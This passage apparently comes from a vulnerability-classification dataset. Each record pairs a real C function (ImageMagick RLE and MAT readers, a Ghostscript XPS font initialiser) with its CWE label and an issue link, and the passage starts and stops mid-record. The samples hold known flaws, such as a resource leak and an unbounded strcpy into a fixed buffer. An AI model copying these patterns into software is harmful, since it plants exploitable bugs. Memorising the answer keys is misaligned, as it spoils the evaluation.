plane=(unsigned char) operand;\n if (plane == 255)\n plane=(unsigned char) (number_planes-1);\n x=0;\n break;\n }\n case SkipPixelsOp:\n {\n operand=ReadBlobByte(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n if (opcode & 0x40)\n {\n operand=ReadBlobLSBSignedShort(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n x+=operand;\n break;\n }\n case ByteDataOp:\n {\n operand=ReadBlobByte(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n if (opcode & 0x40)\n {\n operand=ReadBlobLSBSignedShort(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n offset=(ssize_t) (((image->rows-y-1)*image->columns*number_planes)+x*\n number_planes+plane);\n operand++;\n if ((offset < 0) ||\n ((offset+operand*number_planes) > (ssize_t) pixel_info_length))\n {\n if (number_colormaps != 0)\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n }\n p=pixels+offset;\n for (i=0; i < (ssize_t) operand; i++)\n {\n pixel=(unsigned char) ReadBlobByte(image);\n if ((y < (ssize_t) image->rows) &&\n ((x+i) < (ssize_t) image->columns))\n *p=pixel;\n p+=number_planes;\n }\n if (operand & 0x01)\n (void) ReadBlobByte(image);\n x+=operand;\n break;\n }\n case RunDataOp:\n {\n operand=ReadBlobByte(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n if (opcode & 0x40)\n {\n operand=ReadBlobLSBSignedShort(image);\n if (operand == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n }\n pixel=(unsigned char) ReadBlobByte(image);\n (void) ReadBlobByte(image);\n offset=(ssize_t) (((image->rows-y-1)*image->columns*number_planes)+x*\n number_planes+plane);\n operand++;\n if ((offset < 0) ||\n ((offset+operand*number_planes) > (ssize_t) pixel_info_length))\n {\n if (number_colormaps != 0)\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n }\n p=pixels+offset;\n for (i=0; i < (ssize_t) operand; i++)\n {\n if ((y < (ssize_t) image->rows) &&\n ((x+i) < (ssize_t) image->columns))\n *p=pixel;\n p+=number_planes;\n }\n x+=operand;\n break;\n }\n default:\n break;\n }\n opcode=ReadBlobByte(image);\n if (opcode == EOF)\n ThrowRLEException(CorruptImageError,\"UnexpectedEndOfFile\");\n } while (((opcode & 0x3f) != EOFOp) && (opcode != EOF));\n if (number_colormaps != 0)\n {\n MagickStatusType\n mask;\n\n /*\n Apply colormap affineation to image.\n */\n mask=(MagickStatusType) (map_length-1);\n p=pixels;\n x=(ssize_t) number_planes;\n if (number_colormaps == 1)\n for (i=0; i < (ssize_t) number_pixels; i++)\n {\n ValidateColormapValue(image,(ssize_t) (*p & mask),&index,exception);\n *p=colormap[(ssize_t) index];\n p++;\n }\n else\n if ((number_planes >= 3) && (number_colormaps >= 3))\n for (i=0; i < (ssize_t) number_pixels; i++)\n for (x=0; x < (ssize_t) number_planes; x++)\n {\n ValidateColormapValue(image,(ssize_t) (x*map_length+\n (*p & mask)),&index,exception);\n *p=colormap[(ssize_t) index];\n p++;\n }\n if ((i < (ssize_t) number_pixels) || (x < (ssize_t) number_planes))\n {\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n ThrowReaderException(CorruptImageError,\"UnableToReadImageData\");\n }\n }\n /*\n Initialize image structure.\n */\n if (number_planes >= 3)\n {\n /*\n Convert raster image to DirectClass pixel packets.\n */\n p=pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelRed(image,ScaleCharToQuantum(*p++),q);\n SetPixelGreen(image,ScaleCharToQuantum(*p++),q);\n SetPixelBlue(image,ScaleCharToQuantum(*p++),q);\n if (image->alpha_trait != UndefinedPixelTrait)\n SetPixelAlpha(image,ScaleCharToQuantum(*p++),q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n }\n else\n {\n /*\n Create colormap.\n */\n if (number_colormaps == 0)\n map_length=256;\n if (AcquireImageColormap(image,map_length,exception) == MagickFalse)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n p=colormap;\n if (number_colormaps == 1)\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n /*\n Pseudocolor.\n */\n image->colormap[i].red=(MagickRealType)\n ScaleCharToQuantum((unsigned char) i);\n image->colormap[i].green=(MagickRealType)\n ScaleCharToQuantum((unsigned char) i);\n image->colormap[i].blue=(MagickRealType)\n ScaleCharToQuantum((unsigned char) i);\n }\n else\n if (number_colormaps > 1)\n for (i=0; i < (ssize_t) image->colors; i++)\n {\n image->colormap[i].red=(MagickRealType)\n ScaleCharToQuantum(*p);\n image->colormap[i].green=(MagickRealType)\n ScaleCharToQuantum(*(p+map_length));\n image->colormap[i].blue=(MagickRealType)\n ScaleCharToQuantum(*(p+map_length*2));\n p++;\n }\n p=pixels;\n if (image->alpha_trait == UndefinedPixelTrait)\n {\n /*\n Convert raster image to PseudoClass pixel packets.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n SetPixelIndex(image,(Quantum) *p++,q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n y,image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n (void) SyncImage(image,exception);\n }\n else\n {\n /*\n Image has a matte channel-- promote to DirectClass.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n ValidateColormapValue(image,(ssize_t) *p++,&index,exception);\n SetPixelRed(image,ClampToQuantum(image->colormap[(ssize_t)\n index].red),q);\n ValidateColormapValue(image,(ssize_t) *p++,&index,exception);\n SetPixelGreen(image,ClampToQuantum(image->colormap[(ssize_t)\n index].green),q);\n ValidateColormapValue(image,(ssize_t) *p++,&index,exception);\n SetPixelBlue(image,ClampToQuantum(image->colormap[(ssize_t)\n index].blue),q);\n SetPixelAlpha(image,ScaleCharToQuantum(*p++),q);\n q+=GetPixelChannels(image);\n }\n if (x < (ssize_t) image->columns)\n break;\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n if (image->previous == (Image *) NULL)\n {\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType)\n y,image->rows);\n if (status == MagickFalse)\n break;\n }\n }\n image->colormap=(PixelInfo *) RelinquishMagickMemory(\n image->colormap);\n image->storage_class=DirectClass;\n image->colors=0;\n }\n }\n if (number_colormaps != 0)\n colormap=(unsigned char *) RelinquishMagickMemory(colormap);\n pixel_info=RelinquishVirtualMemory(pixel_info);\n if (EOFBlob(image) != MagickFalse)\n {\n ThrowFileException(exception,CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n break;\n }\n /*\n Proceed to next image.\n */\n if (image_info->number_scenes != 0)\n if (image->scene >= (image_info->scene+image_info->number_scenes-1))\n break;\n (void) ReadBlobByte(image);\n count=ReadBlob(image,2,(unsigned char *) magick);\n if ((count != 0) && (memcmp(magick,\"\\122\\314\",2) == 0))\n {\n /*\n Allocate next image structure.\n */\n AcquireNextImage(image_info,image,exception);\n if (GetNextImageInList(image) == (Image *) NULL)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n image=SyncNextImageInList(image);\n status=SetImageProgress(image,LoadImagesTag,TellBlob(image),\n GetBlobSize(image));\n if (status == MagickFalse)\n break;\n }\n } while ((count != 0) && (memcmp(magick,\"\\122\\314\",2) == 0));\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-834'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/518'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadMATImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n Image *image, *image2=NULL,\n *rotated_image;\n register Quantum *q;\n\n unsigned int status;\n MATHeader MATLAB_HDR;\n size_t size;\n size_t CellType;\n QuantumInfo *quantum_info;\n ImageInfo *clone_info;\n int i;\n ssize_t ldblk;\n unsigned char *BImgBuff = NULL;\n double MinVal, MaxVal;\n unsigned z, z2;\n unsigned Frames;\n int logging;\n int sample_size;\n MagickOffsetType filepos=0x80;\n BlobInfo *blob;\n size_t one;\n\n unsigned int (*ReadBlobXXXLong)(Image *image);\n unsigned short (*ReadBlobXXXShort)(Image *image);\n void (*ReadBlobDoublesXXX)(Image * image, size_t len, double *data);\n void (*ReadBlobFloatsXXX)(Image * image, size_t len, float *data);\n\n\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n logging = LogMagickEvent(CoderEvent,GetMagickModule(),\"enter\");\n\n /*\n Open image file.\n */\n image = AcquireImage(image_info,exception);\n\n status = OpenBlob(image_info, image, ReadBinaryBlobMode, exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read MATLAB image.\n */\n quantum_info=(QuantumInfo *) NULL;\n clone_info=(ImageInfo *) NULL;\n if (ReadBlob(image,124,(unsigned char *) &MATLAB_HDR.identific) != 124)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n if (strncmp(MATLAB_HDR.identific,\"MATLAB\",6) != 0)\n {\n image2=ReadMATImageV4(image_info,image,exception);\n if (image2 == NULL)\n goto MATLAB_KO;\n image=image2;\n goto END_OF_READING;\n }\n MATLAB_HDR.Version = ReadBlobLSBShort(image);\n if(ReadBlob(image,2,(unsigned char *) &MATLAB_HDR.EndianIndicator) != 2)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n\n if (logging)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\" Endian %c%c\",\n MATLAB_HDR.EndianIndicator[0],MATLAB_HDR.EndianIndicator[1]);\n if (!strncmp(MATLAB_HDR.EndianIndicator, \"IM\", 2))\n {\n ReadBlobXXXLong = ReadBlobLSBLong;\n ReadBlobXXXShort = ReadBlobLSBShort;\n ReadBlobDoublesXXX = ReadBlobDoublesLSB;\n ReadBlobFloatsXXX = ReadBlobFloatsLSB;\n image->endian = LSBEndian;\n }\n else if (!strncmp(MATLAB_HDR.EndianIndicator, \"MI\", 2))\n {\n ReadBlobXXXLong = ReadBlobMSBLong;\n ReadBlobXXXShort = ReadBlobMSBShort;\n ReadBlobDoublesXXX = ReadBlobDoublesMSB;\n ReadBlobFloatsXXX = ReadBlobFloatsMSB;\n image->endian = MSBEndian;\n }\n else\n goto MATLAB_KO; /* unsupported endian */\n\n if (strncmp(MATLAB_HDR.identific, \"MATLAB\", 6))\n {\nMATLAB_KO:\n clone_info=DestroyImageInfo(clone_info);\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n }\n\n filepos = TellBlob(image);\n while(!EOFBlob(image)) /* object parser loop */\n {\n Frames = 1;\n (void) SeekBlob(image,filepos,SEEK_SET);\n /* printf(\"pos=%X\\n\",TellBlob(image)); */\n\n MATLAB_HDR.DataType = ReadBlobXXXLong(image);\n if(EOFBlob(image)) break;\n MATLAB_HDR.ObjectSize = ReadBlobXXXLong(image);\n if(EOFBlob(image)) break;\n if((MagickSizeType) (MATLAB_HDR.ObjectSize+filepos) > GetBlobSize(image))\n goto MATLAB_KO;\n filepos += MATLAB_HDR.ObjectSize + 4 + 4;\n\n clone_info=CloneImageInfo(image_info);\n image2 = image;\n#if defined(MAGICKCORE_ZLIB_DELEGATE)\n if(MATLAB_HDR.DataType == miCOMPRESSED)\n {\n image2 = decompress_block(image,&MATLAB_HDR.ObjectSize,clone_info,exception);\n if(image2==NULL) continue;\n MATLAB_HDR.DataType = ReadBlobXXXLong(image2); /* replace compressed object type. */\n }\n#endif\n\n if(MATLAB_HDR.DataType!=miMATRIX) continue; /* skip another objects. */\n\n MATLAB_HDR.unknown1 = ReadBlobXXXLong(image2);\n MATLAB_HDR.unknown2 = ReadBlobXXXLong(image2);\n\n MATLAB_HDR.unknown5 = ReadBlobXXXLong(image2);\n MATLAB_HDR.StructureClass = MATLAB_HDR.unknown5 & 0xFF;\n MATLAB_HDR.StructureFlag = (MATLAB_HDR.unknown5>>8) & 0xFF;\n\n MATLAB_HDR.unknown3 = ReadBlobXXXLong(image2);\n if(image!=image2)\n MATLAB_HDR.unknown4 = ReadBlobXXXLong(image2); /* ??? don't understand why ?? */\n MATLAB_HDR.unknown4 = ReadBlobXXXLong(image2);\n MATLAB_HDR.DimFlag = ReadBlobXXXLong(image2);\n MATLAB_HDR.SizeX = ReadBlobXXXLong(image2);\n MATLAB_HDR.SizeY = ReadBlobXXXLong(image2);\n\n\n switch(MATLAB_HDR.DimFlag)\n {\n case 8: z2=z=1; break; /* 2D matrix*/\n case 12: z2=z = ReadBlobXXXLong(image2); /* 3D matrix RGB*/\n (void) ReadBlobXXXLong(image2);\n if(z!=3) ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n break;\n case 16: z2=z = ReadBlobXXXLong(image2); /* 4D matrix animation */\n if(z!=3 && z!=1)\n ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n Frames = ReadBlobXXXLong(image2);\n if (Frames == 0)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n break;\n default: ThrowReaderException(CoderError, \"MultidimensionalMatricesAreNotSupported\");\n }\n\n MATLAB_HDR.Flag1 = ReadBlobXXXShort(image2);\n MATLAB_HDR.NameFlag = ReadBlobXXXShort(image2);\n\n if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n \"MATLAB_HDR.StructureClass %d\",MATLAB_HDR.StructureClass);\n if (MATLAB_HDR.StructureClass != mxCHAR_CLASS &&\n MATLAB_HDR.StructureClass != mxSINGLE_CLASS && /* float + complex float */\n MATLAB_HDR.StructureClass != mxDOUBLE_CLASS && /* double + complex double */\n MATLAB_HDR.StructureClass != mxINT8_CLASS &&\n MATLAB_HDR.StructureClass != mxUINT8_CLASS && /* uint8 + uint8 3D */\n MATLAB_HDR.StructureClass != mxINT16_CLASS &&\n MATLAB_HDR.StructureClass != mxUINT16_CLASS && /* uint16 + uint16 3D */\n MATLAB_HDR.StructureClass != mxINT32_CLASS &&\n MATLAB_HDR.StructureClass != mxUINT32_CLASS && /* uint32 + uint32 3D */\n MATLAB_HDR.StructureClass != mxINT64_CLASS &&\n MATLAB_HDR.StructureClass != mxUINT64_CLASS) /* uint64 + uint64 3D */\n ThrowReaderException(CoderError,\"UnsupportedCellTypeInTheMatrix\");\n\n switch (MATLAB_HDR.NameFlag)\n {\n case 0:\n size = ReadBlobXXXLong(image2); /* Object name string size */\n size = 4 * (ssize_t) ((size + 3 + 1) / 4);\n (void) SeekBlob(image2, size, SEEK_CUR);\n break;\n case 1:\n case 2:\n case 3:\n case 4:\n (void) ReadBlob(image2, 4, (unsigned char *) &size); /* Object name string */\n break;\n default:\n goto MATLAB_KO;\n }\n\n CellType = ReadBlobXXXLong(image2); /* Additional object type */\n if (logging)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \"MATLAB_HDR.CellType: %.20g\",(double) CellType);\n\n (void) ReadBlob(image2, 4, (unsigned char *) &size); /* data size */\n\n NEXT_FRAME:\n switch (CellType)\n {\n case miINT8:\n case miUINT8:\n sample_size = 8;\n if(MATLAB_HDR.StructureFlag & FLAG_LOGICAL)\n image->depth = 1;\n else\n image->depth = 8; /* Byte type cell */\n ldblk = (ssize_t) MATLAB_HDR.SizeX;\n break;\n case miINT16:\n case miUINT16:\n sample_size = 16;\n image->depth = 16; /* Word type cell */\n ldblk = (ssize_t) (2 * MATLAB_HDR.SizeX);\n break;\n case miINT32:\n case miUINT32:\n sample_size = 32;\n image->depth = 32; /* Dword type cell */\n ldblk = (ssize_t) (4 * MATLAB_HDR.SizeX);\n break;\n case miINT64:\n case miUINT64:\n sample_size = 64;\n image->depth = 64; /* Qword type cell */\n ldblk = (ssize_t) (8 * MATLAB_HDR.SizeX);\n break;\n case miSINGLE:\n sample_size = 32;\n image->depth = 32; /* double type cell */\n (void) SetImageOption(clone_info,\"quantum:format\",\"floating-point\");\n if (MATLAB_HDR.StructureFlag & FLAG_COMPLEX)\n { /* complex float type cell */\n }\n ldblk = (ssize_t) (4 * MATLAB_HDR.SizeX);\n break;\n case miDOUBLE:\n sample_size = 64;\n image->depth = 64; /* double type cell */\n (void) SetImageOption(clone_info,\"quantum:format\",\"floating-point\");\nDisableMSCWarning(4127)\n if (sizeof(double) != 8)\nRestoreMSCWarning\n ThrowReaderException(CoderError, \"IncompatibleSizeOfDouble\");\n if (MATLAB_HDR.StructureFlag & FLAG_COMPLEX)\n { /* complex double type cell */\n }\n ldblk = (ssize_t) (8 * MATLAB_HDR.SizeX);\n break;\n default:\n ThrowReaderException(CoderError, \"UnsupportedCellTypeInTheMatrix\");\n }\n (void) sample_size;\n image->columns = MATLAB_HDR.SizeX;\n image->rows = MATLAB_HDR.SizeY;\n one=1;\n image->colors = one << image->depth;\n if (image->columns == 0 || image->rows == 0)\n goto MATLAB_KO;\n if((unsigned long)ldblk*MATLAB_HDR.SizeY > MATLAB_HDR.ObjectSize)\n goto MATLAB_KO;\n /* Image is gray when no complex flag is set and 2D Matrix */\n if ((MATLAB_HDR.DimFlag == 8) &&\n ((MATLAB_HDR.StructureFlag & FLAG_COMPLEX) == 0))\n {\n image->type=GrayscaleType;\n SetImageColorspace(image,GRAYColorspace,exception);\n }\n\n\n /*\n If ping is true, then only set image size and colors without\n reading any image data.\n */\n if (image_info->ping)\n {\n size_t temp = image->columns;\n image->columns = image->rows;\n image->rows = temp;\n goto done_reading; /* !!!!!! BAD !!!! */\n }\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n return(DestroyImageList(image));\n quantum_info=AcquireQuantumInfo(clone_info,image);\n if (quantum_info == (QuantumInfo *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n\n /* ----- Load raster data ----- */\n BImgBuff = (unsigned char *) AcquireQuantumMemory((size_t) (ldblk),sizeof(double)); /* Ldblk was set in the check phase */\n if (BImgBuff == NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) ResetMagickMemory(BImgBuff,0,ldblk*sizeof(double));\n\n MinVal = 0;\n MaxVal = 0;\n if (CellType==miDOUBLE || CellType==miSINGLE) /* Find Min and Max Values for floats */\n {\n CalcMinMax(image2, image_info->endian, MATLAB_HDR.SizeX, MATLAB_HDR.SizeY, CellType, ldblk, BImgBuff, &quantum_info->minimum, &quantum_info->maximum);\n }\n\n /* Main loop for reading all scanlines */\n if(z==1) z=0; /* read grey scanlines */\n /* else read color scanlines */\n do\n {\n for (i = 0; i < (ssize_t) MATLAB_HDR.SizeY; i++)\n {\n q=GetAuthenticPixels(image,0,MATLAB_HDR.SizeY-i-1,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n {\n if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n \" MAT set image pixels returns unexpected NULL on a row %u.\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n goto done_reading; /* Skip image rotation, when cannot set image pixels */\n }\n if(ReadBlob(image2,ldblk,(unsigned char *)BImgBuff) != (ssize_t) ldblk)\n {\n if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n \" MAT cannot read scanrow %u from a file.\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n goto ExitLoop;\n }\n if((CellType==miINT8 || CellType==miUINT8) && (MATLAB_HDR.StructureFlag & FLAG_LOGICAL))\n {\n FixLogical((unsigned char *)BImgBuff,ldblk);\n if(ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,z2qtype[z],BImgBuff,exception) <= 0)\n {\nImportQuantumPixelsFailed:\n if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n \" MAT failed to ImportQuantumPixels for a row %u\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n break;\n }\n }\n else\n {\n if(ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,z2qtype[z],BImgBuff,exception) <= 0)\n goto ImportQuantumPixelsFailed;\n\n\n if (z<=1 && /* fix only during a last pass z==0 || z==1 */\n (CellType==miINT8 || CellType==miINT16 || CellType==miINT32 || CellType==miINT64))\n FixSignedValues(image,q,MATLAB_HDR.SizeX);\n }\n\n if (!SyncAuthenticPixels(image,exception))\n {\n if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\n \" MAT failed to sync image pixels for a row %u\", (unsigned)(MATLAB_HDR.SizeY-i-1));\n goto ExitLoop;\n }\n }\n } while(z-- >= 2);\nExitLoop:\n\n\n /* Read complex part of numbers here */\n if (MATLAB_HDR.StructureFlag & FLAG_COMPLEX)\n { /* Find Min and Max Values for complex parts of floats */\n CellType = ReadBlobXXXLong(image2); /* Additional object type */\n i = ReadBlobXXXLong(image2); /* size of a complex part - toss away*/\n\n if (CellType==miDOUBLE || CellType==miSINGLE)\n {\n CalcMinMax(image2, image_info->endian, MATLAB_HDR.SizeX, MATLAB_HDR.SizeY, CellType, ldblk, BImgBuff, &MinVal, &MaxVal);\n }\n\n if (CellType==miDOUBLE)\n for (i = 0; i < (ssize_t) MATLAB_HDR.SizeY; i++)\n {\n ReadBlobDoublesXXX(image2, ldblk, (double *)BImgBuff);\n InsertComplexDoubleRow(image, (double *)BImgBuff, i, MinVal, MaxVal,\n exception);\n }\n\n if (CellType==miSINGLE)\n for (i = 0; i < (ssize_t) MATLAB_HDR.SizeY; i++)\n {\n ReadBlobFloatsXXX(image2, ldblk, (float *)BImgBuff);\n InsertComplexFloatRow(image,(float *)BImgBuff,i,MinVal,MaxVal,\n exception);\n }\n }\n\n /* Image is gray when no complex flag is set and 2D Matrix AGAIN!!! */\n if ((MATLAB_HDR.DimFlag == 8) &&\n ((MATLAB_HDR.StructureFlag & FLAG_COMPLEX) == 0))\n image->type=GrayscaleType;\n if (image->depth == 1)\n image->type=BilevelType;\n\n if(image2==image)\n image2 = NULL; /* Remove shadow copy to an image before rotation. */\n\n /* Rotate image. */\n rotated_image = RotateImage(image, 90.0, exception);\n if (rotated_image != (Image *) NULL)\n {\n /* Remove page offsets added by RotateImage */\n rotated_image->page.x=0;\n rotated_image->page.y=0;\n\n blob = rotated_image->blob;\n rotated_image->blob = image->blob;\n rotated_image->colors = image->colors;\n image->blob = blob;\n AppendImageToList(&image,rotated_image);\n DeleteImageFromList(&image);\n }\n\ndone_reading:\n\n if(image2!=NULL)\n if(image2!=image)\n {\n DeleteImageFromList(&image2);\n if(clone_info)\n {\n if(clone_info->file)\n {\n fclose(clone_info->file);\n clone_info->file = NULL;\n (void) remove_utf8(clone_info->filename);\n }\n }\n }\n\n /* Allocate next image structure. */\n AcquireNextImage(image_info,image,exception);\n if (image->next == (Image *) NULL) break;\n image=SyncNextImageInList(image);\n image->columns=image->rows=0;\n image->colors=0;\n\n /* row scan buffer is no longer needed */\n RelinquishMagickMemory(BImgBuff);\n BImgBuff = NULL;\n\n if(--Frames>0)\n {\n z = z2;\n if(image2==NULL) image2 = image;\n goto NEXT_FRAME;\n }\n if ((image2!=NULL) && (image2!=image)) /* Does shadow temporary decompressed image exist? */\n {\n/* CloseBlob(image2); */\n DeleteImageFromList(&image2);\n if(clone_info)\n {\n if(clone_info->file)\n {\n fclose(clone_info->file);\n clone_info->file = NULL;\n (void) remove_utf8(clone_info->filename);\n }\n }\n }\n }\n\n RelinquishMagickMemory(BImgBuff);\n if (quantum_info != (QuantumInfo *) NULL)\n quantum_info=DestroyQuantumInfo(quantum_info);\nEND_OF_READING:\n if (clone_info)\n clone_info=DestroyImageInfo(clone_info);\n CloseBlob(image);\n\n\n {\n Image *p;\n ssize_t scene=0;\n\n /*\n Rewind list, removing any empty images while rewinding.\n */\n p=image;\n image=NULL;\n while (p != (Image *) NULL)\n {\n Image *tmp=p;\n if ((p->rows == 0) || (p->columns == 0)) {\n p=p->previous;\n DeleteImageFromList(&tmp);\n } else {\n image=p;\n p=p->previous;\n }\n }\n\n /*\n Fix scene numbers\n */\n for (p=image; p != (Image *) NULL; p=p->next)\n p->scene=scene++;\n }\n\n if(clone_info != NULL) /* cleanup garbage file from compression */\n {\n if(clone_info->file)\n {\n fclose(clone_info->file);\n clone_info->file = NULL;\n (void) remove_utf8(clone_info->filename);\n }\n DestroyImageInfo(clone_info);\n clone_info = NULL;\n }\n if (logging) (void)LogMagickEvent(CoderEvent,GetMagickModule(),\"return\");\n if(image==NULL)\n ThrowReaderException(CorruptImageError,\"ImproperImageHeader\");\n return (image);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-772'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/587'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: xps_init_truetype_font(xps_context_t *ctx, xps_font_t *font)\n{\n int code = 0;\n\n font->font = (void*) gs_alloc_struct(ctx->memory, gs_font_type42, &st_gs_font_type42, \"xps_font type42\");\n if (!font->font)\n return gs_throw(gs_error_VMerror, \"out of memory\");\n\n /* no shortage of things to initialize */\n {\n gs_font_type42 *p42 = (gs_font_type42*) font->font;\n\n /* Common to all fonts: */\n\n p42->next = 0;\n p42->prev = 0;\n p42->memory = ctx->memory;\n\n p42->dir = ctx->fontdir; /* NB also set by gs_definefont later */\n p42->base = font->font; /* NB also set by gs_definefont later */\n p42->is_resource = false;\n gs_notify_init(&p42->notify_list, gs_memory_stable(ctx->memory));\n p42->id = gs_next_ids(ctx->memory, 1);\n\n p42->client_data = font; /* that's us */\n\n /* this is overwritten in grid_fit() */\n gs_make_identity(&p42->FontMatrix);\n gs_make_identity(&p42->orig_FontMatrix); /* NB ... original or zeroes? */\n\n p42->FontType = ft_TrueType;\n p42->BitmapWidths = false;\n p42->ExactSize = fbit_use_outlines;\n p42->InBetweenSize = fbit_use_outlines;\n p42->TransformedChar = fbit_use_outlines;\n p42->WMode = 0;\n p42->PaintType = 0;\n p42->StrokeWidth = 0;\n p42->is_cached = 0;\n\n p42->procs.define_font = gs_no_define_font;\n p42->procs.make_font = gs_no_make_font;\n p42->procs.font_info = gs_type42_font_info;\n p42->procs.same_font = gs_default_same_font;\n p42->procs.encode_char = xps_true_callback_encode_char;\n p42->procs.decode_glyph = xps_true_callback_decode_glyph;\n p42->procs.enumerate_glyph = gs_type42_enumerate_glyph;\n p42->procs.glyph_info = gs_type42_glyph_info;\n p42->procs.glyph_outline = gs_type42_glyph_outline;\n p42->procs.glyph_name = xps_true_callback_glyph_name;\n p42->procs.init_fstack = gs_default_init_fstack;\n p42->procs.next_char_glyph = gs_default_next_char_glyph;\n p42->procs.build_char = xps_true_callback_build_char;\n\n memset(p42->font_name.chars, 0, sizeof(p42->font_name.chars));\n xps_load_sfnt_name(font, (char*)p42->font_name.chars);\n p42->font_name.size = strlen((char*)p42->font_name.chars);\n\n memset(p42->key_name.chars, 0, sizeof(p42->key_name.chars));\n strcpy((char*)p42->key_name.chars, (char*)p42->font_name.chars);\n p42->key_name.size = strlen((char*)p42->key_name.chars);\n\n /* Base font specific: */\n\n p42->FontBBox.p.x = 0;\n p42->FontBBox.p.y = 0;\n p42->FontBBox.q.x = 0;\n p42->FontBBox.q.y = 0;\n\n uid_set_UniqueID(&p42->UID, p42->id);\n\n p42->encoding_index = ENCODING_INDEX_UNKNOWN;\n p42->nearest_encoding_index = ENCODING_INDEX_ISOLATIN1;\n\n p42->FAPI = 0;\n p42->FAPI_font_data = 0;\n\n /* Type 42 specific: */\n\n p42->data.string_proc = xps_true_callback_string_proc;\n p42->data.proc_data = font;\n\n gs_type42_font_init(p42, font->subfontid);\n p42->data.get_glyph_index = xps_true_get_glyph_index;\n }\n\n if ((code = gs_definefont(ctx->fontdir, font->font)) < 0) {\n return(code);\n }\n\n code = xps_fapi_passfont (font->font, NULL, NULL, font->data, font->length);\n return code;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Bug 698044: restrict font name length to the buffer size.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n 